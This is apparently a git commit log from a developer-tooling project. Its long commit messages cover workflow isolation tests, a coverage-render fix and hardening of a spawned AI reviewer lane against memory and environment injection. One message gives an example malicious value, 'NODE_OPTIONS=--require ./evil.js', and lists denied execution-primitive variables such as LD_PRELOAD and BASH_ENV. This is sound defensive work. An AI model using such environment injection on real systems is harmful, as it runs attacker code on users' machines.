new repair pin required the literal /gsd:settings, a form documented as no longer routable. Relaxed to accept the canonical slash and $-prefixed forms so a correct rewording cannot fail the test. Nit: two test descriptions still said side-effect-free. Not fixed, deliberately: the verb still cannot tell a caught resolver error from a declared none, so ISOLATION_RESOLVED remains a signal about the CALL, not the declaration. Both workflows now state that limit outright. Exposing provenance is a change to the query contract that belongs with the runtime-resolution work in #2395, not here. Validated: lint:ci clean; full suite green except the two failures that reproduce identically on pristine next @ 33fca50d. The only change after that suite run was removing a redundant regex escape flagged by eslint; that test was re-run individually and eslint is clean. * fix(#2486): fifth review pass — stop recommending "leave it absent" as the safe default Codex round 5, one Major: the round-4 fix corrected the {ABSENCE} wording but left the pre-selection rule built on the assumption it had just falsified. An absent key still pre-selected "Leave unchanged" on the rationale that there was nothing to repair. Absence resolves to false only where the emit stamped that default; on an un-stamped emit it reads as true, so accepting the recommended default could preserve the exact isolation-none-plus-true state this branch exists to prevent. The isolation-none branch now pre-selects "No (Recommended)" in every case, including an absent key. Writing an explicit false is correct under either emit; "Leave unchanged" stays available for the deliberate shared-config case but is never the default. The test that pinned the old rule pinned a falsified assumption, so it now pins the new one and asserts the old sentence is gone. Also tightened the round-4 repair regex, which had been relaxed far enough to accept `$gsd:settings` and `/gsd:settings-bogus`. It now matches only the canonical `/gsd-settings`, `/gsd:settings` and `$gsd-settings` forms. settings.md 40685 bytes, 275 free. Validated: lint:ci clean; full suite green except the two failures that reproduce identically on pristine next @ 33fca50d. * fix(#2486): make the inspection exemption block-scoped, and drop the last pre-#2728 claim Codex review of the conflict resolution: one Major, two Minors, all real. Major. The inspection-surface exemption I added to #2728's "every dispatch-site degrade block re-records" guard was FILE-wide. Codex probed it by adding an unrecorded executor block to health.md: the exemption assertions still passed, the whole file was skipped, and the offender went unreported. That is the same hole the hand-listed revision of this guard had — a promise of "every dispatch site" with a silent carve-out. Now scoped per block. A block earns the exemption only by resolving through `inspect-dispatch-isolation` AND carrying no dispatch primitive (`Agent(`, `harnessFlag`/`HARNESS_FLAG`, `isolation="worktree"`, or the recording verb). The file-level assertions remain as a precondition on top. Verified with Codex's own probe: the appended dispatch block is now reported at health.md:285, while the legitimate inspection block still passes. Minor. settings.md still carried the caveat saying `quick.md` gates on the runtime name and "#2728 converts that surface". #2728 has landed. Same obsolete premise already removed from docs/CONFIGURATION.md in the merge commit; this was the copy I missed. Removing it also returns 413 bytes, so settings.md now has 688 free under the 40960 cap rather than 275. Minor. Four scratch-directory prefixes still read `w024` after the renumber. Non-functional, but the whole point of the rename was that W024 now means someone else's warning. Validated: lint:ci clean; full suite green except the two failures that reproduce identically on pristine next. * fix(#2486): name the diagnostics' state INSPECTED_ISOLATION and delete the exemption Codex probed the per-block exemption and it was still escapable: DISPATCH_PRIMITIVE matched only `Agent(`, two harness-flag spellings, `isolation="worktree"` and the recording verb, so `Task(`, `spawn_agent(`, a `codex exec` process dispatch, and — unfixably by any regex — the repo's normal split shape (isolation resolved in one bash fence, dispatch in a later one) all still qualified as exempt. Took Codex's suggested fix, which is better than the one it replaces. The diagnostics now name their state `INSPECTED_ISOLATION` / `INSPECTED_RESOLVED` / `_INSPECTED_RAW` instead of reusing the dispatch-site names. #2728's guard scans for a literal `ISOLATION=none`, so health.md and settings.md fall outside it BY CONSTRUCTION and the exemption is deleted outright — no carve-out to escape, and a diagnostic that ever writes a real `ISOLATION=none` is caught like any other site. The name is also just more accurate: an inspection result is not a dispatch decision. Pinned so the reasoning cannot be lost: the #2486 suite now asserts neither diagnostic assigns the bare `ISOLATION` name, with the rationale in the comment. Verified by mutation — renaming back makes #2728's guard flag health.md:107 AND fails the new naming pin. Net effect on the guard's coverage is positive: before this PR it scanned two fewer files by exemption; now it scans everything. settings.md 40352 bytes, 608 free. Validated: lint:ci clean; full suite green except the two failures that reproduce identically on pristine next. --------- Co-authored-by: Claude Fable 5 <noreply@anthropic.com>	2026-08-12 20:45:08 -04:00
Rezolv	3dff700aaa	fix(#3102): render edge-probe coverage report so the resolution loop consumes it (#3391) ... * fix(#3102): render edge-probe coverage report so the resolution loop consumes it Step 5.5 captured the edge-probe report into $COVERAGE, shape-checked it, and reduced it to coverage.applicable — the engine's per-requirement items[] never reached the model, so the resolution loop re-derived edge categories from prose (the data-flow twin of #2733's control-flow discard). The block's own comment claimed the opposite. Render $COVERAGE RAW into context after the well-formedness guard (schema-agnostic so an ADR-550 D7a-style re-cut cannot desync a bespoke renderer), and bind the rows in the resolution loop as a deterministic FLOOR the model unions with its own classification — floor, never ceiling, since the classifier has a measured recall gap (ADR-857 §98 / ADR-550 D7b). --auto consumes the same floor. Comment corrected to match. Regression test asserts a bare render of $COVERAGE, not a count-only cross. * chore(#3102): add changeset for the Step 5.5 edge-coverage render fix * chore(#3102): re-arm spec-phase.md emitted-drift ack for the Step 5.5 render growth The render + floor-binding prose grows spec-phase.md ~1818 bytes (32238 -> 34056, under the 40960 cap). Re-arms the existing spent spec-phase.md ack rather than adding a new fragment (a second key would collide with the base-relative duplicate check).	2026-08-12 20:44:57 -04:00
0xdhx	0396d9cab1	enhance(#2483): stop the claude reviewer lane from inheriting CLAUDE.md + auto-memory (#2493) ... * enhance(#2483): env-guard the claude reviewer leg against CLAUDE.md injection The claude reviewer in workflows/review.md was a bare headless `claude -p` spawn run from the project cwd, so it inherited the invoking user's global CLAUDE.md, the project CLAUDE.md, and Claude Code auto-memory. That made it the only reviewer leg seeing anything beyond the prompt file. gather_context assembles PROJECT.md, the roadmap section, every PLAN file, CONTEXT.md, RESEARCH.md and REQUIREMENTS.md into the prompt before any reviewer runs; the gemini leg receives only that prompt and the codex leg runs --ephemeral. Beyond the measured ~4k tokens/spawn, the asymmetry cuts at the workflow's own premise: "independent review" meant something different for the claude leg than for the other two. Guard both dispatch lines with a per-invocation `env CLAUDE_CODE_DISABLE_CLAUDE_MDS=1`. `env`, never `export` — the flag must not leak into the orchestrating session (which may itself be Claude Code on the SELF_CLI="auto" path) or into any later spawn. review.md is the only claude -p call site in the installed tree, so this is two lines on one surface. The self-skip logic is untouched. * enhance(#2483): fix CRLF-fragile split and regenerate workflow baselines Two CI failures from the first push, both mine: 1. lint-tests: the new regression test split readFileSync content on a literal "\n". On a Windows git-autocrlf checkout that leaves a trailing "\r" on every line (local/no-crlf-fragile-split). Use .split(/\r?\n/). 2. golden-install-parity / workflow-size-budget / workflow-compat: editing gsd-core/workflows/review.md changes its content hash and byte size, and both are pinned in committed baselines. Regenerated via the repo's own generators (npm run size:baseline, npm run gen:golden). The regenerated diffs are review.md-only: exactly one hash line per golden-install-parity fixture and one size entry in workflow-size-baseline — no unrelated drift swept in. Full suite now green locally: 2113 pass, 0 fail, 3 skipped (run with HOME and CLAUDE_CONFIG_DIR overridden to throwaway dirs; live profile verified untouched afterward). * enhance(#2483): adapt guard-test matcher to the effort-args dispatch reshape The effortSurface wiring (#2481) reshaped the bare-model dispatch to `claude $CLAUDE_EFFORT_ARGS -p -`; the invocation matcher's dash-first form could no longer see it, and the count assertion failed exactly as designed. The matcher now tolerates variable expansions between `claude` and its first literal flag. Negative-controlled both ways: a stripped guard and a deleted dispatch line each still fail. * enhance(#2483): also guard the claude leg against auto-memory injection CLAUDE_CODE_DISABLE_CLAUDE_MDS suppresses CLAUDE.md file loading; auto-memory is an independently-toggled mechanism with its own flag. Add CLAUDE_CODE_DISABLE_AUTO_MEMORY=1 to both dispatch lines, correct the docs/COMMANDS.md and changeset claims that credited the first flag with covering auto-memory, and extend the regression test to require both flags on every claude invocation (negative-controlled: 2/4 assertions fail with the new flag removed). * enhance(#2483): match the claude binary in command position, not argument position The line-oriented invocation matcher counted any line where the token `claude` was followed by a flag. #2589 (landed on next as 920a5f3f) reshaped the effort-args lookup from --host claude 2>/dev/null | jq -r '.effort_argv_string // ""' to --host claude --pick effort_argv_string which put a flag immediately after `claude` and made the config query read as a third claude dispatch, failing the count assertion. The defect class is a binary name in *argument* position being read as a command. Fixed at the class rather than the instance: tokenise the line and skip any `claude` whose preceding token is a flag. That also covers the latent sibling one line away in review.md (`command -v claude`), which escaped today only because its next token is a redirect. Negative-controlled four ways: stripping CLAUDE_CODE_DISABLE_AUTO_MEMORY=1 fails, stripping the whole env guard fails, adding a genuine third unguarded dispatch (`timeout 900 claude --output-format text -p -`) still fails — so the narrowing did not blind the matcher to reshapes, which is the property the count assertion exists for — and the pre-#2589 jq form of the lookup still passes, so the matcher is not pinned to today's base. * enhance(#2483): carry the claude reviewer's memory guard as declared lane data ADR-2782 Phase 5b replaced the hand-authored per-CLI dispatch legs in review.md with the declared lane table, so the two `env`-prefixed shell lines this PR previously added no longer have a surface to live on. The guard is reimplemented where the lane contract now lives. `SpawnInvoke` gains an optional `env`, the claude lane declares the pair, the resolver folds own string-valued entries into `SpawnPlan.env` (absent or empty resolves to null, so the runner has one shape to test), and the runner passes it to spawn. Production merges it OVER `process.env` into a fresh object for that one child, so nothing reaches the orchestrating session or any other lane in the run. Declared data rather than a handler (D6): the pairs are static per lane, which is precisely what the manifest vocabulary is for. The capability manifest carries the same field, because the lane-fidelity test compares manifest and descriptor over the union of `invoke`'s keys. The regression test is rewritten against the resolver and runner rather than review.md's text. It gains the property the source-text assertions could only approximate: that `process.env` is never mutated. Scope boundary, asserted rather than left in prose: `env` is not part of the trust-disclosure surface, which is safe only while no manifest body reaches the resolver — the registry's reviewer bodies contribute slugs to the parity check and execution resolves from `REVIEWER_LANES`. The new test fails first if that ever changes. * enhance(#2483): restate the guard's mechanism in the docs and changeset Both described the fix as two `env`-prefixed dispatch lines, which is the surface ADR-2782 Phase 5b removed. The user-visible behaviour is unchanged; the carrier is not, and a changeset that ships a description of a mechanism the tree does not have is a CHANGELOG entry nobody can verify against the code. * enhance(#2483): cover the production spawn wiring end to end The unit tests stop at the runner's `deps.spawn` seam — every one injects a spy. Production supplies that seam in `gsd-core/bin/gsd-tools.cjs` as a hand-written object no test constructs, so the chain could be correct all the way to `SpawnPlan.env` and the merge could still be wrong or absent with the suite green. Deleting those four lines was the one mutation that left every other control silent. This runs the real `spawnSync` through `gsd-tools review-lane invoke`, with a `claude` shim on PATH that records the environment it was handed. It asserts both halves in one test: the pair arrives, and an unrelated inherited variable survives — a wiring that REPLACED the environment rather than merging over it would satisfy the first and break every lane's PATH and HOME. POSIX-only; mediating a Windows `.cmd` shim is a separate concern the repo already tests on its own. Noted rather than fixed: `timeout`, `killSignal`, `maxBuffer` and `shell: false` on that same object are equally uncovered. That is the epic's gap, not this change's, and closing it is not in scope here. * enhance(#2483): validate the invoke.env shape and register it as spawn-only `env` was the one spawn-invoke field with no shape enforcement: every sibling in `validateSpawnInvoke` is checked, and a manifest declaring `env` as an array, a string, a number, or an object with non-string values passed validation in silence. That matters more than an ordinary schema gap here, because `resolveLanePlan` DROPS a non-string value rather than coercing it — so an unvalidated manifest declares a pair that never reaches the spawn, which is the failure a memory guard can least afford. Two registrations, not one. `env` was also absent from `SPAWN_ONLY_INVOKE_FIELDS`, which is the list the openai-http arm rejects against — so `invoke.env` was accepted on a transport that issues an HTTP POST and has no child environment at all. It was the only spawn-shaped field accepted there; the other six each produce two errors. Self-found while sweeping the class, not raised in review. Keys are held to the portable POSIX environment-name grammar. That is a policy, not a claim about what an environment can hold: measured, only NUL is actually rejected by `spawnSync`, while `=`, a leading digit, a dash and a space are all carried through to the child (an `A=B` key arrives as the raw entry `A=B=value`). They are refused because a name outside the grammar is not portably addressable by the program meant to read it. `__proto__` is refused for a different and concrete reason. It passes that grammar and is a real own key once a manifest is JSON-parsed, but assigning it onto a plain accumulator goes through the inherited `__proto__` setter rather than creating an own property — and for the string values this field permits the setter is a no-op that does not even change the prototype. The pair would validate and then simply vanish before the spawn. (An environment CAN carry a literal `__proto__` entry; this is about the resolver's accumulator, and the error message says so.) Deliberately narrower than the sibling reserved-name guards in this file, which also reject `constructor`/`prototype`: those guard bracket lookups that resolve prototype members, whereas this reads via `Object.keys` plus an own-value read, where `constructor` assigns as an ordinary key the spawn could carry. `effortChannel` is deliberately left in neither field list: ADR-2782 D2 defines it for both transports, so it is shared rather than spawn-only. Reversion-controlled, three mutations, all three fire a named test: dropping `env` from the discriminator fails `httpTransportRejectsEnv`; removing the `__proto__` arm fails `envRejectsProtoKeyThatWouldSilentlyVanish`; disabling the block fails four. (#2483) * enhance(#2483): amend ADR-2782 D2 for the invoke.env vocabulary widening D2 records the spawn `invoke` shape as a closed vocabulary, and its Amendments section carries a dated entry for every prior widening (Phase 1 #2794, Phase 2 corrections #2795, Phase 5b #2799). This change extended that vocabulary in code without touching the ADR governing it, so the ADR contradicted the implementation — and the repo's own convention, recorded in CONTEXT.md, is that the ADR is amended in the same PR precisely because the prior widenings did it correctly. Adds the `invoke.env` row to the D2 table and a dated Amendments entry. The entry also corrects the authority this change cited. The source comment pointed at D6, which governs the closed `handler` enum — imperative behavior admitted first-party — and says nothing about the `invoke` field vocabulary. That is D2's territory, so the citation never covered the gap. Two claims are corrected rather than restated, both about the trust boundary that justifies leaving `env` out of the D5 disclosure signature: - The regression test does not enforce that boundary. On one forged lane it shows the resolver folds whatever it is handed, so a future path feeding it manifest lanes would not make any assertion in that test fail. Its comment claimed it "will fail first"; that was wrong, and both the comment and the ADR now say the boundary is a property of the production call chain instead. - The ADR is internally inconsistent on whether third-party manifest lanes execute at all: Consequences says adding a reviewer needs "no core patch", while `gsd-tools.cjs` rejects every slug absent from the first-party REVIEWER_LANES map. CONTEXT.md, `workflows/review.md` and the resolver's own header take the first view. #2483 did not create that inconsistency and does not resolve it; the entry records it rather than settling it in its own favour. (#2483) * enhance(#2483): document invoke.env in the capability-manifest reference ADR-2782 points capability and plugin authors at `docs/reference/capability-manifest.md` as where the lane vocabulary must be visible, and its `invoke` row enumerates the spawn sub-shape field by field. `env` was absent from that table while being part of the real shape, so the one document a third-party capability author would actually consult to learn the field exists did not mention it. Squarely Diataxis reference material — a field-by-field schema description — so it goes here rather than in the user-facing prose, which was already updated. States the constraints a manifest author can actually trip, and is explicit that the name grammar is a portability policy rather than an OS limit, so a reader does not take it for a claim about what an environment can hold. (#2483) * enhance(#2483): disclose and sign the reviewer lane's env and residual invoke fields `invoke.env` was undisclosed at install time. That was defensible while manifest lanes could not execute — the premise this PR's own ADR amendment recorded — and #2927/#3062 retired it: `routeReviewLane` now merges installed overlay `reviewer` bodies into its lane map via `mergeReviewerLanes`, which is a field-identical merge by ADR-2782 D1 and deliberately does not deep-validate. An overlay's whole `invoke` therefore reaches `resolveLanePlan`, and `env` reaches the spawned child. A consented third-party capability could set `NODE_OPTIONS=--require ./evil.js` on a reviewer lane with no install-time disclosure and no re-consent. The same file already decided what `env` means in a manifest: MCP servers fold it into the disclosure signature and render each key and value in the consent prompt, with an inline rationale naming this exact shape. Reviewer lanes get the identical treatment. `env` was the ninth unsigned invoke field, not the first. `defaultHost` (the manifest's OWN fallback egress host, used whenever the config key resolves to nothing), `path`, `outputChannel`/`outputArg`, `modelArg`, `effortChannel` and `modelDiscovery` all reach `resolveLanePlan` and none was bound. Enumerating a ninth name leaves the tenth open, so the lane signature carries a RESIDUAL of every other declared `invoke` key — the completeness backstop `rawConfig` already gives the MCP line (#1459 finding 5), and the "sign the whole object" remedy the recorded decision on this class prefers. `defaultHost` is also rendered: `resolvedHost` comes from user config, so a lane whose key is unset displayed "(unresolved …)" — which reads as "no destination" — while the runtime egresses the plan and review text to the address the manifest picked. D4.5 is preserved one level down: the extra element is appended ONLY when the lane declares something beyond the eight already-bound fields, so an env-free lane's signature stays byte-identical and no already-consented capability is re-prompted for a field it does not use. A lane that does declare one re-consents, which is the point. Execution-primitive env names are FLAGGED in the prompt, not refused in the validator. A denylist cannot be the boundary here: `PATH` alone is a complete execution primitive for a spawn lane and can never be refused, the child is an arbitrary third-party binary so the true set spans every interpreter's injection vars, and the MCP `env` this mirrors refuses nothing and discloses everything. Missing a name costs a quieter line, never a boundary. Refs #2483. * enhance(#2483): exercise the real overlay merge path in the guard test The test named for the manifest/first-party boundary did not test it. It built a forged lane locally, handed it straight to `resolveLanePlan`, and asserted that `REVIEWER_LANES` did not contain it — so no assertion in it depended on the claim its name made, and a code path that fed manifest lanes to the resolver would not have made it fail. Its own comment said as much, and named the production chain as the real carrier of the guarantee: "gsd-tools.cjs builds its lane map solely from REVIEWER_LANES". That sentence is now false. #3062 merged overlay reviewer bodies into that map, so the test's premise and its subject both moved. The replacement routes through `mergeReviewerLanes` — the real helper the production path calls — and asserts the overlay lane is admitted, resolves, and carries its `env` into `SpawnPlan.env`. That makes the security property falsifiable instead of narrated. It then asserts what now backs it: the env is disclosed on the surface, rendered key and value in the consent prompt, flagged when the name is an execution primitive, and bound to the signature so a value change, an addition, or a removal each force re-consent. Three further cases, because the finding's generative half is what stops it recurring: the residual backstop is asserted against five fields including one that does not exist (`aFieldThatDoesNotExistYet`), so a future vocabulary widening cannot silently re-open this; a fully-enumerated lane is pinned to its original 8-tuple, which is what keeps the fix from re-prompting every consented capability; and an http lane's manifest-declared `defaultHost` is asserted to reach both the prompt and the signature. Reversion-controlled, seven mutations, all seven fail a named test: env dropped from the surface, the prompt's env line removed, the execution-primitive warning removed, the signature's extra element never appended, the residual emptied, the defaultHost line removed, and the declares-something test un-widened. The last of those was SILENT on its first run and its test was written in response, then the control re-run. Refs #2483. * enhance(#2483): correct the ADR amendment's manifest-lane premise The amendment argued `env` needed no D5 disclosure because a manifest's `invoke` fields never reach `resolveLanePlan`. That was true when written and #3062 retired it 22 hours after this branch's last commit: `routeReviewLane` now builds its lane map from `mergeReviewerLanes(REVIEWER_LANES, loadRegistry({includeInstalled: true}))`, and D1's no-translation-layer rule makes that a field-identical merge, so an overlay's whole `invoke` reaches the resolver and executes. The entry had named this exact trigger — "were manifest lanes ever made executable, `env` must join the disclosed surface in that change, and nothing here will trip if it does not." Nothing tripped. The premise is rewritten to current truth rather than annotated, because an ADR is read in fragments and a superseded paragraph left standing reads as live reasoning to the next author; a one-line dated tombstone points at git for the withdrawn text. The rewritten entry records four things the first draft could not: that the enumeration itself was the defect (`env` was the ninth unbound `invoke` field, and `defaultHost` and `path` are egress-relevant on their own), that the residual is what closes the class, that D4.5's byte-identical-signature property is preserved by appending the residual only when a lane declares something beyond the eight bound fields, and that consent — not shape validation — is the boundary, since no honest env denylist can exclude `PATH`. It also closes the internal inconsistency the previous entry could only record. This ADR, `CONTEXT.md`, `gsd-core/workflows/review.md` and `resolveLanePlan`'s own header all said overlay lanes reach the resolver while the runtime said otherwise; #3062 resolved that in the documents' favour, which is what makes the disclosure mandatory rather than defensive. Refs #2483. * enhance(#2483): record in the manifest reference that invoke fields are consent-bound `docs/reference/capability-manifest.md` is the field table ADR-2782 points capability authors at, and it described `invoke` purely as a schema. A third-party author reading it could not learn that everything they declare there is shown to the user at install and bound to the consent signature — which is exactly what they need to know now that an overlay reviewer lane executes (#2927/#3062). States the two things the schema alone cannot: that `env` and `defaultHost` are named in the consent prompt and the rest is covered by a residual, so any change to a declared `invoke` field forces re-consent; and that `env`'s validation is a portability policy rather than a safety boundary, since `PATH` is a complete execution primitive and cannot be refused. Names that are execution primitives are highlighted in the prompt instead. Refs #2483. * enhance(#2483): add a Security changeset for the reviewer-lane disclosure The existing fragment describes the enhancement this PR was opened for and stays as it is. The disclosure fix is a separate user-visible change of a different type: a capability declaring `invoke.env` or `invoke.defaultHost` will ask for consent once more, and users are entitled to read why in the changelog rather than discover it as an unexplained prompt. Type is `Security` rather than `Changed` because the entry describes a closed code-execution disclosure gap, not a behaviour adjustment. Refs #2483. * enhance(#2483): correct this round's own claim about who gets re-prompted Self-found while auditing the round's claims before publishing them. The changeset and the ADR entry both stated that a capability declaring `invoke.env` or `defaultHost` "will ask for consent once more". That is wrong, and it overstated the cost of the fix in the one direction a maintainer would have had to take on trust. A code change to `disclosureSignature` re-prompts nobody. `hasProjectConsent` matches on the recomputed bundle `contentHash` — the signature has not been the security binding since #1459 CB-1/CB-2 — and the upgrade path's `executableSetChanged(old, new)` compares two disclosures both computed by the CURRENT code, so widening the signature moves both sides of that comparison equally. First-party capabilities never reach the path at all: the install flow blocks a first-party id before trust evaluation. What the widening actually buys is forward-looking, and is the real argument for it: an upgrade whose manifest edits a declared `invoke` field now registers as an executable-surface change and re-consents, where before it could change what the lane runs in silence. Also measured and recorded, because the D4.5 property was stated more strongly than it deserved: of the twelve first-party reviewer capabilities, ZERO are in the byte-identical-signature class — every real lane declares at least `effortChannel`. The property is a guarantee about minimal lanes, not a description of the fleet, and the ADR now says so. Refs #2483. * enhance(#2483): sign and disclose the probe binary and the lane's outer fields Found by this round's own adversarial review, and it is the same defect one level out: the `invoke` residual cannot reach the lane body's OUTER fields, and `probeLane` SPAWNS `probe.binary` with `--help` before dispatch (`review-lane-runner.cts`, the `command-exists`/`command-capability` arms). An overlay naming an arbitrary probe binary therefore executes it — unsigned and undisclosed, exactly as `invoke.env` was, and reachable on the same #3062 path. The lane element now carries a second residual over the outer fields, and the probe binary is shown in the consent prompt when it differs from the dispatch binary — it is a program that runs, and the user is entitled to see it. TWO fields stay excluded, and that is a decision rather than an omission: `reviewsSection` and `timeoutFloorMs` are ADR-2782's cosmetic carve-outs (matrix A10/A13), where re-consenting would present a prompt carrying no security information. A test pins that they remain excluded, so a later widening cannot quietly reverse D4.5 while claiming to complete this fix. Also corrects a miscount introduced by the previous commit: the source comment said the enumeration had fallen behind by "seven fields" and omitted `fallbackModel`, while asserting `env` was the ninth. `resolveLanePlan` reads twelve `inv.*` fields and four were bound, so the number is eight. The comment now states the derivation rather than just the total. Reversion-controlled: emptying the outer residual fails "repointing the probe binary must force re-consent"; removing the render line fails its own named assertion. Refs #2483. * enhance(#2483): refuse execution-primitive env names as defence in depth Adopts the review's B5 after this round's own adversarial pass refuted my reason for declining it. I had argued a denylist was worthless because `PATH` can never be refused. That was wrong on the facts: no shipped reviewer manifest declares `PATH`, so it can be refused, and it is the most complete primitive in the set — repoint it at a directory holding a fake binary and the declared `invoke.binary` is irrelevant. A list that cannot be exhaustive can still close the highest-confidence, lowest-legitimacy routes. So the validator now rejects `PATH`, `NODE_OPTIONS`, `LD_PRELOAD`, `DYLD_INSERT_LIBRARIES`, `BASH_ENV`, `PYTHONPATH`, `PERL5OPT`, `RUBYOPT`, `GIT_SSH_COMMAND`, `JAVA_TOOL_OPTIONS` and their siblings on a reviewer lane. A lane needing a specific executable declares an absolute `invoke.binary` instead of reshaping the child's environment. The comment states plainly that this is defence in depth and NOT the boundary — the boundary is install-time consent, which discloses every declared pair and binds it to the signature, so an unlisted name is still SEEN before it runs. That framing is load-bearing: a future reader who mistakes the denylist for the control will under-invest in the one that is, which is the failure mode I was trying to avoid by declining it outright. Two tests: the rejection itself across ten names, and a guard asserting no shipped reviewer capability declares a denied key — so if the list ever outgrows its evidence, that surfaces as a decision rather than a silent removal. Refs #2483. * enhance(#2483): fix two stale D5 enumerations elsewhere in the ADR The previous commit rewrote the amendment's premise but swept only the amendment. Two normative passages earlier in the same ADR still enumerated the old closed field list and now contradicted it: the `executableSetChanged` trigger list, and the split-binding note asserting the seven manifest-derived fields were "everything that is SHA-pinned". That is the failure the rewrite-don't-annotate rule exists to prevent, one section over — an ADR is read in fragments, and a fragment carries no supersession marker, so a reader landing on either passage would have taken the superseded enumeration as current. Both now name the residual as the mechanism rather than restating a list, which is also what stops them going stale the next time the vocabulary widens. Found by this round's adversarial review, which grepped the whole document rather than the section under edit. Refs #2483. * enhance(#2483): stop the probe disclosure claiming a spawn that does not happen The probe line added one commit ago rendered "probes by running: <binary> --help" for every lane. That is false for `kind: "command-exists"`, which only calls `hasBinary` — a PATH/filesystem scan that starts no process. Only `command-capability` spawns. A false statement in a consent prompt is worse than a missing one: the prompt is the surface a user is asked to trust, and this one overstated what a lane does. Worse, the test I wrote to prove the fix used `command-exists` — the kind that does NOT spawn — so it pinned the wrong claim and would have kept the error green forever. The surface now carries `probeKind` and the two kinds render differently: a spawn is described as a spawn, a presence check as a presence check. The test exercises both, and asserts the `command-exists` path never emits the spawn wording. Also corrects the field-count parenthetical to state its derivation unambiguously — `resolveLanePlan` reads thirteen `inv.*` fields including `env` (twelve before this PR), four were bound, so eight were unbound before `env` and nine including it. The bare "twelve" was true only of the pre-PR tree and read as a claim about the current one. And retires two comments that argued AGAINST the validator denylist this round then shipped. Leaving them would have handed the next reader the reasoning for removing it. Reversion-controlled: conflating the two probe kinds fails a named test. Refs #2483. * enhance(#2483): match the reviewer-lane env denylist case-insensitively The denylist added one commit ago compared exact case, so `Path`, `path`, `node_options` and `Node_Options` all passed it. Windows environment lookup is case-insensitive, so those reach the child as `PATH` and `NODE_OPTIONS` — the exact inputs the list names. An exactly-cased denylist is worse than none: it reads as a control while admitting the input it was written to refuse, and the next reader has no reason to doubt it. Members are stored uppercase and the key is folded before lookup; the name grammar already constrains keys to ASCII, so a plain fold is sufficient. Reversion-controlled: restoring the exact-case compare fails `envDenylistIsCaseInsensitive` on `Path`. Refs #2483. * enhance(#2483): correct the docs that still described the denylist as absent Both the ADR and the manifest reference still said `env` carries no denylist and that `PATH` "can never be refused" — written when that was this round's position, and left standing after the round reversed it. A reader landing on either passage would have taken the superseded argument as current, which is precisely the failure the rewrite-don't- annotate rule exists to prevent. Both now describe the denylist, name `PATH`'s inclusion and the case-insensitive match, and keep the limit explicit: the list cannot be complete against an arbitrary child and disclosure runs before validation, so consent remains the boundary. The ADR's byte-identical-signature claim is also corrected rather than softened. With the outer residual in place, a lane producing no residual is one the validator rejects — it declares no `flags`, `probe`, `emptyOutput`, `evidenceClass`, `requiresBinaries` or `promptBudgetKey`. So the property is about the ENCODING, not a claim that any real signature is unchanged, and it is not the argument for the change being safe. That argument is that consent binds to the bundle contentHash and no existing consent is invalidated at all. Refs #2483. * test(#2483): cover the three new lane disclosure fields in the injection-safety parity guard The PARITY test in section N exists to catch a renderer field that skips `renderValueForPrompt` (#3248). Its payload manifest is hand-maintained, so it covers the fields that existed when it was written — slug, binary, args, hostConfigKey, handler — and none of the fields this PR adds. This PR renders three further manifest-supplied values into consent-prompt lines: `invoke.env` (keys and values), `invoke.defaultHost` and `probe.binary`. The gap was silent rather than theoretical: with the lane env line reverted to the pre-#3248 raw form, the whole 948-test lane/capability/trust-disclosure suite stayed green. Two manifests, because the shapes render disjoint lines — `defaultHost` only on the openai-http branch, `env`/`probe` only where declared, and the probe line only when the probe binary differs from the dispatch binary. Non-vacuity is asserted on the typed disclosure object and on structural line counts, not by substring-matching rendered prose: CONTRIBUTING.md forbids raw text matching on test output, and this section's own header promises structural assertions only, so a prose match here would have made that promise false. Negative-controlled three ways against the merged tree, each producing exactly one named failure: env rendered raw, defaultHost rendered raw, probe binary rendered raw. * docs(#2483): extend the #3248 render-site comment to the fields this PR adds The comment enumerates every manifest-supplied value that must pass through `renderValueForPrompt`, and it stopped at `handler` — the reviewer-lane fields that existed when #3248 landed. This PR renders three more (`defaultHost`, the probe binary, and the env keys and values), so the list understated its own contract in the one place a future author would check before adding a fourth. A comment enumerating a closed set is a set that can silently fall behind the code it describes; the parity test added alongside is what makes the omission fail loudly rather than read as deliberate. --------- Co-authored-by: Tom Boucher <trekkie@nomorestars.com>	2026-08-11 17:42:41 -04:00
Dennis Kim	68a199cf5a	fix(#2783): address wedged PRs in ship note protocol (#2818) ... * fix(#2783): address wedged PRs in ship note protocol * chore: acknowledge ship.md growth * fix(#2783): repair ship workflow structure * fix(#2783): gate ship-note recovery on current PR state * fix(#2783): avoid scanner collision in poll loop * fix(#2783): address reviewer feedback on ship-note wedge handling * test: add timeout to spawnSync in ship-notes-wedged-pr.test.cjs to satisfy lint * test: update ghCalls bound expectation in ship-notes-wedged-pr.test.cjs * test: restore ghCalls expected count in ship-notes-wedged-pr.test.cjs	2026-08-11 17:10:36 -04:00